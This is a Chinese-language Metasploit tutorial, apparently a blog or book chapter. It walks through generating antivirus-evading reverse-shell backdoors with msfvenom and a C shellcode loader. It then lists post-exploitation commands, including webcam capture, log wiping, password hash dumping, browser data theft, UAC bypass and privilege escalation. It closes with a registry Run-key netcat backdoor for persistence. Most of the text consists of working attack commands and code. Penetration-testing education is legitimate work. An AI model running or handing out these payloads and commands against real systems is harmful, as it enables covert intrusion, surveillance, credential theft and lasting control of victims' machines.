1.1 Metasploit 工具简介

Metasploit 简称(MSF)是一款流行的开源渗透测试框架,由Rapid7公司开发,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。并且该框架还提供了一系列攻击模块和Payload工具,可用于漏洞利用、及漏洞攻击。同时软件自身支持多种操作系统平台,包括Windows、Linux、MacOS等。直到今天Metasploit已成为众多黑客手中渗透攻击的利器,并在安全领域大展身手。

Metasploit框架主要包含以下几个组件:

  • 模块库:包含了一系列攻击模块和Payload工具,用户可以利用这些模块快速构造攻击代码。
  • Payload生成器:支持生成多种类型的Payload,包括反向Shell、Meterpreter、WebShell等。
  • 渗透测试工具:支持多种渗透测试技术,包括端口扫描、漏洞扫描、密码破解等。
  • 数据库:用于存储Metasploit框架的数据和攻击结果,包括模块信息、主机信息、漏洞信息等。
  • 插件系统:支持自定义插件,可以扩展Metasploit的功能。

Metasploit 的优势在于其强大的攻击模块库和Payload生成器,可以帮助用户快速构造攻击代码并进行渗透测试。此外,该还支持多种漏洞利用技术,包括远程代码执行、缓冲区溢出、SQL注入等,可以满足用户不同的需求。

在使用该工具之前第一步则是要安装此工具,由于该工具支持跨平台,因此读者可以根据自己的喜好自行安装对应系统版本,这里推荐在Linux内核的系统中使用该软件,我们以Kali系统为例讲解工具的安装流程及使用细节。

Kali Linux 是一款基于Debian的Linux发行版,旨在提供一套专业的渗透测试和网络安全审计工具集。Kali Linux由Offensive Security公司维护和开发,具有广泛的社区支持和贡献。Kali Linux包含了数百个网络安全测试工具,包括漏洞扫描器、渗透测试工具、密码破解工具、无线网络测试工具等,可以帮助安全专业人士识别和评估网络安全风险,加强系统和网络的安全性。

在默认情况下Kali系统内都会内置Metasploit工具,如果读者使用的是其他第三方系统,则MSF的安装也非常容易,读者只需要执行如下几条命令并等待片刻即可自动完成Metasploit的安装;

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

当读者准备好测试环境后,可通过Kali系统内的顶部窗口打开控制台,并输入msfconsole命令即可进入到MSF的交互式菜单中,效果如下图所示;

Metasploit 生成并使用后门

Metasploit 是一个强大的渗透测试框架,它提供了广泛的模块,用于模拟各种安全攻击。其中一个强大的功能是生成后门,它可以让攻击者在目标系统中保持持久访问权限。在本章中,我们将探讨如何使用Metasploit生成各类后门,并了解它是如何工作的。我们将通过实际演示来说明如何灵活的运用Metasploit生成的后门,并介绍一些最常用的技巧。

如果读者想要通过MSF生成后门,那么将会用到msfvenom命令,msfvenom是Metasploit框架中的一个子命令,用于生成各种类型的恶意软件,包括后门、漏洞利用代码、木马、蠕虫等。它是msfpayloadmsfencode的结合体,提供了更灵活的选项和更强的功能,该命令的常用参数如下所示;

命令 功能描述
-p 指定需要使用的payload,即攻击荷载。
-l 列出指定模块的所有可用资源。
-n 为payload预先指定一个NOP滑动长度,用于防止程序崩溃。
-f 指定输出格式,例如exe、elf、php、js等。
-e 指定需要使用的encoder编码器,以隐藏恶意代码。
-a 指定payload的目标架构,例如x86、x64等。
–platform 指定payload的目标平台,例如Windows、Linux等。
-s 设定有效攻击荷载的最大长度。
-b 设定规避字符集,以防止生成的payload中包含不可用字符。
-i 指定payload的编码次数。
–shellest 最小化生成payload。

MSF工具一般可生成两种类型的后门,一种是生成通用可执行文件,此类功能需用户在对端运行才可激活,需要注意的是由于此类后门已被各类杀毒软件厂家捕捉了特征,通常后门的生存能力很低无法在安装有杀毒软件的设备中正常运行,另一种则是直接生成ShellCode代码,此类代码并无特征并支持远程注入攻击,ShellCode代码形式在软件安全,漏洞利用领域使用最为广泛。

首先我们先来简单介绍一下MSF如何生成EXE和DLL可执行后门,如下案例中通过参数-a指定平台为x86也就是32位,如果读者需要采用64位则此处应对应的改为x64,参数--platform Windows用于指定生成平台为windows,参数-p windows/meterpreter/reverse_tcp则用于指定使用的攻击载荷为reverse_tcp也就是反弹后门,参数lhost=192.168.1.20指明了本机的IP地址,相对应的lport=9999则指明了本机端口,参数-f指明了生成的文件格式为exe,参数-o则代表生成文件存储位置,参数-e是一种编码器格式,shikata_ga_naiMetasploit框架中的一种encoder编码器,它用于隐藏恶意代码,以避免杀毒软件和防火墙的检测。shikata_ga_nai是一种多次编码器,可以通过多次重复编码来混淆恶意代码,以使其难以识别。

除了shikata_ga_nai之外,Metasploit框架中还有许多其他编码器,包括但不限于:

Encoder 描述
alphanum 使用字母数字字符对代码进行编码。
alpha_upper 使用大写字母字符对代码进行编码。
fnstenv_mov 使用FPU指令对代码进行编码。
jmp_call_additive 使用跳转指令和调用指令对代码进行编码。
nonalpha 使用非字母字符对代码进行编码。
nonupper 使用非大写字母字符对代码进行编码。
unicode_upper 使用Unicode字符对代码进行编码。

这些是Metasploit框架中常用的几种编码器,读者可以根据需求选择使用。

┌──(lyshark㉿kali)-[~]
└─$ msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
lhost=127.0.0.1 lport=9999 -e x86/shikata_ga_nai -i 3 -b '\x00\x0a\xff' -f exe -o payload.exe

┌──(lyshark㉿kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp -b'\x0\x0b' \
lhost=127.0.0.1 lport=9999 -f dll > payload.dll

虽然生成EXE可执行文件可以被使用,但笔者并不推荐,因为此类方式极容易被查杀,笔者更推荐生成ShellCode代码,并通过第三方应用或通过系统漏洞来对其进行注入操作,此类实现将有利于后门的持续权限维持,如下命令则是生成ShellCode反弹后门的关键命令;

┌──(lyshark㉿kali)-[~]
└─$ msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=127.0.0.1 lport=9999 -f c

┌──(lyshark㉿kali)-[~]
└─$ msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=127.0.0.1 lport=9999 -f c

我们以ShellCode生成为例,当前Kali攻击主机IP地址为192.168.9.135而被攻击主机IP地址为192.168.9.118此时,读者需要现在攻击主机生成一段ShellCode并指定当前主机IP参数等,输出效果如下图所示;

接着,读者需要将此ShellCode代码增加一个执行盒,并以此测试ShellCode的完整性及可用性,由于生成的ShellCode是C语言格式,则读者应使用C语言编译器,如下案例中buf[]用于填充我们自己的ShellCode代码片段。

如下这段代码,使用VirtualAlloc函数在内存中分配一块空间,并使用memcpy函数将缓冲区内容复制到内存中。然后,它将内存中的代码强制转换为函数指针,并调用该函数,以此实现反弹执行的作用,其功能可总结为;

  • 对于缓冲区buf定义了一个数组,该数组的内容为空。
  • 定义了一个类型为void (__stdcall *CODE)()的函数指针,该指针将指向内存中的代码。
  • 使用VirtualAlloc函数在内存中分配一块空间,该空间大小为buf数组的大小,并允许该空间可执行、可读、可写。
  • 使用memcpy函数将buf数组内容复制到内存中。
  • 将内存中的代码强制转换为函数指针,并调用该函数。
#include <Windows.h>
#include <stdio.h>

#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "";

typedef void(__stdcall *CODE) ();

int main()
{
// ((void(*)(void))&buf)();
PVOID pFunction = NULL;
pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pFunction, buf, sizeof(buf));
CODE StartShell = (CODE)pFunction;
StartShell();
}

读者需要打开Visual Studio 2013编译器,并新建一个控制台应用程序,将如上代码复制到编辑器内,通过替换unsigned char buf[] = "";为我们自己的ShellCode代码,如下图所示;

编译通过后,读者应将lyshark.exe后门拷贝到客户端192.168.9.118内;

服务端中,读者需通过msfconsole进入到MSF控制台,并创建一个侦听器组件,侦听器适用于上线客户端的,其中的lhost则需传递本机的IP,其中的lport则需要与本机开放端口保持一致;

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.9.135
lhost => 192.168.9.135
msf6 exploit(multi/handler) > set lport 9999
lport => 9999

当读者配置参数完毕后,可通过show options命令用于检查配置参数的准确性,如果此时配置失误读者依然可以重新配置更改;

当配置就绪,则只需要执行exploit则此时服务端将会进入侦听模式,当然读者也可以使用exploit -j -z将请求挂载到后台;

至此当被害主机运行lyshark.exe进程时,则kali服务端将会接收到反弹的上线会话,上线后读者可通过sysinfo来了解被控客户端的主机信息,如下图所示;

一旦读者获取到对端主机的控制权,则可通过meterpreter中提供的各类命令来对目标主机进行信息收集工作,如下是该模块中常用的一些操作命令,读者可根据自行学习使用;

1.2.1 通用控制命令

meterpreter > essions -k 1             # 通过ID号杀死一个会话
meterpreter > background # 将会话放入后台
meterpreter > getuid/getpid # 查询用户权限与PID
meterpreter > sysinfo # 查看目标系统信息
meterpreter > ps # 查目标主机进程
meterpreter > kill PID # 杀死目标制定进程
meterpreter > getsystem # 尝试令牌提权
meterpreter > shell # 进入目标shell环境

meterpreter > enumdesktops # 查看可用的桌面
meterpreter > getdesktop # 获取当前meterpreter关联的桌面
meterpreter > set_desktop # 设置meterpreter关联的桌面
meterpreter > screenshot # 截屏
meterpreter > run vnc # 使用vnc远程桌面连接

meterpreter > uictl disable mouse # 禁用目标鼠标
meterpreter > uictl enable keyboard # 开启目标键盘

meterpreter > webcam_list # 查看目标主机摄像头
meterpreter > webcam_snap # 摄像头拍照
meterpreter > webcam_stream # 开启目标主机摄像头
meterpreter > clearav # 销毁日志文件

meterpreter > webcam_stream -i 1/2 # 打开前置或后置摄像头
meterpreter > check_root # 检测root
meterpreter > dump_calllog # 下载电话记录
meterpreter > dump_contacts # 下载信息记录
meterpreter > geolocate # 谷歌地图定位

1.2.2 Migrate进程迁移

进程迁移技术允许攻击者将Meterpreter客户端从当前进程中迁移到另一个进程中。这可以避免检测软件识别Meterpreter客户端,并对其进行清除。此外,进程迁移还可以帮助攻击者隐藏其所在的进程,以避免被检测。

meterpreter > execute                  # 在目标机器中执行文件
meterpreter > execute -H -i -f cmd.exe # 创建新进程cmd.exe -H不可见-i交互

meterpreter > getpid
meterpreter > ps
meterpreter > migrate PID # 通过PID号迁移进程

1.2.3 文件查阅与传输

Meterpreter 还具有文件查阅与远程文件传输功能。这些功能允许攻击者查看受害者计算机上的文件,并传输文件到受控机器。

meterpreter > getwd                                # 查看当前工作目录
meterpreter > search -f *filename* # 搜索文件
meterpreter > cat c:\\lyshark.log # 查看文件内容
meterpreter > upload /tmp/shell.exe C:\\shell.exe # 上传文件到目标机
meterpreter > download c:\\shell.exe /tmp/ # 下载文件到本机上
meterpreter > edit c:\\lyshark.log # VIM编辑或创建文件
meterpreter > rm C:\\lyshark.log # 删除文件
meterpreter > getlwd # 看肉鸡当前目录
meterpreter > lcd /tmp # 切换目录

1.2.4 端口转发与扫描

网络与端口转发功能允许攻击者将受害者的网络流量转发到受控机器,进而获取机密信息或控制受害者的网络资源。该功能通过创建一个代理服务器,以便将网络流量从受害者的计算机转发到受控机器。

# 网络参数采集
meterpreter > ifconfig # 查询肉鸡IP地址
meterpreter > netstat -antp # 查询目标网络连接
meterpreter > arp -a # 查询目标ARP缓存
meterpreter > getproxy # 查看目标代理信息
meterpreter > route # 查看目标路由表

# 远端端口扫描
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.9.0/24 # 扫描192.168.9.0/24网段
meterpreter > run auxiliary/scanner/portscan/tcp RHOSTS=192.168.9.135 PORTS=3389 # 检测192.168.9.135是否开启3389端口

# 端口转发与端口关闭
meterpreter > portfwd add -l 9999 -p 3389 -r 127.0.0.1 # 将目标机3389端口转发到本地9999
meterpreter > portfwd list # 查询当前转发列表
meterpreter > portfwd delete -l 9999 # 删除本地主机的9999端口映射

# 添加与删除主机路由
meterpreter > run autoroute -p # 查询添加的路由记录
meterpreter > run autoroute -s 10.10.10.1 -n 255.255.255.0 # 在目标主机添加一条路由
meterpreter > run autoroute -d -s 10.10.10.1 # 删除目标主机中的路由
meterpreter > run autoroute -s 10.10.10.1/24 # 添加一个路由网段

1.2.5 信息采集功能

信息采集功能是后渗透中的重要功能。它允许攻击者从受害者计算机上采集信息,以便对其进行更深入的渗透。Metasploit 内置了大量的信息采集模块,用于从受害者计算机上收集信息。这些模块包括获取操作系统版本、已安装的软件、已运行的进程、网络配置等信息。

Kali系统中,信息采集模块被放置在了usr/share/metasploit-framework/modules目录下,这其中包括了针对各种型号设备的采集功能,如下图所示;

以Windows系统中的搜集模块为例,其默认存储在/usr/share/metasploit-framework/modules/post/windows/gather 路径下,读者可取查看一下具体配置信息;

当读者在meterpreter环境下时,这些功能可以被直接调用,我们已枚举目标服务为例,通过info命令读者可查询特定模块的定义规范,而run则是运行这段枚举程序;

meterpreter > info post/windows/gather/enum_services        # 查询模块配置参数
meterpreter > run post/windows/gather/enum_services # 枚举目标服务
meterpreter > run post/windows/gather/enum_files # 枚举目标服务
meterpreter > run post/windows/gather/hashdump # 盗取Hash
meterpreter > run post/windows/gather/checkvm # 是否虚拟机
meterpreter > run post/windows/gather/forensics/enum_drives # 查看分区
meterpreter > run post/windows/gather/enum_applications # 获取安装软件信息
meterpreter > run post/windows/gather/dumplinks # 获取最近的文件操作
meterpreter > run post/windows/gather/enum_ie # 获取IE缓存
meterpreter > run post/windows/gather/enum_chrome # 获取Chrome缓存
meterpreter > run post/windows/gather/enum_patches # 补丁信息
meterpreter > run post/windows/gather/enum_domain # 查找域控

当读者执行枚举时,即可输出目标进程内所有运行的服务信息,读者可依据自己的需要选择不同的服务,如下图所示则是枚举服务列表;

1.2.6 目标主机权限提升

针对目标主机的提权操作有两种情况,读者可使用bypassuac脚本尝试提权,也可使用enum_patches枚举出系统补丁信息,根据不同补丁采用不同的提权脚本实现。

# 使用bypassuac脚本尝试提权
meterpreter > background
msf > use exploit/windows/local/bypassuac
msf > set SESSION 1
msf > run

# 收集目标主机补丁情况
meterpreter > run post/windows/gather/enum_patches
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7

# 尝试采用符合的提权脚本提权
meterpreter > background
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 1
msf > exploit

1.2.7 添加用户与开启远程

通常用户在获取到目标主机权限时,则可通过此命令在对端主机中开启远程桌面选项,以此来获得一个长期稳定的后门。

# 添加系统用户与开启远程桌面
meterpreter > run getgui -e # 开启远程桌面
meterpreter > run getgui -u lyshark -p 123123 # 添加用户
meterpreter > run getgui -f 9999 -e # 3389端口转发到9999

# 启用RDP桌面
meterpreter > run post/windows/manage/enable_rdp # 开启远程桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=lyshark PASSWORD=123 # 添加用户
meterpreter > run post/windows/manage/enable_rdp FORWARD=true LPORT=9999 # 将3389端口转发到9999

1.2.8 注册表写入后门

通过上传命令将nc.exe后门传输到远程主机,并通过写出currentversion设置开机自启动后门,实现长期权限维持,该功能通常用于后渗透阶段的权限维持。

-d   注册表中值的数据
-k 注册表键路径
-v 注册表键名称

enumkey 枚举可获得的键
setval 设置键值
queryval 查询键值数据

# 上传nc工具到根目录
meterpreter > upload /root/nc.exe C:\\windows\\

# 枚举run下的key
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

# 增加NC后门
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v myshell -d 'C:\windows\nc.exe -Ldp 666 -e cmd.exe'

# 查看键值
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v myshell

# 攻击者即可链接NC获取Shell
┌──(lyshark㉿kali)-[~]
└─$ nc -v 192.168.1.20 666